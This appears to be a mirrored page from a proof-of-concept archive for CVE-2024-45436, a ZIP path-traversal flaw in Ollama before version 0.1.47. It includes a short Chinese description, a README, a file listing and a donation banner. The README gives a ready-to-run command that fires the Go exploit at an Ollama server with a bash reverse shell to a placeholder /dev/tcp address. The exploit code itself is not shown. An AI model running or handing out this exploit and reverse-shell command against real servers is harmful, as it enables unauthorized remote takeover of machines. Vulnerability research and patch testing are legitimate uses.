Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2024-45436 PoC — Ollama 安全漏洞

Source
Associated Vulnerability
Title:Ollama 安全漏洞 (CVE-2024-45436)
Description:Ollama是Ollama开源的一个可以在本地启动并运行的大型语言模型。 Ollama 0.1.47之前版本存在安全漏洞,该漏洞源于extractFromZipFile函数可以提取父目录之外的ZIP存档成员。
Description
CVE-2024-45436
Readme
# CVE-2024-45436
CVE-2024-45436
Need to run under Linux, the environment needs to have gcc
Install golang, execute the following command to rebound the shell

```bash
go run main.go -target http://127.0.0.1:11434/ -exec "bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1"
```

Note: Exploitation may take several minutes, please be patient
File Snapshot

[4.0K] /data/pocs/87198ac978e727b7f68ea3c62748b0f262c31af3 ├── [ 67] go.mod ├── [ 173] go.sum ├── [5.2K] main.go └── [ 336] README.md 0 directories, 4 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.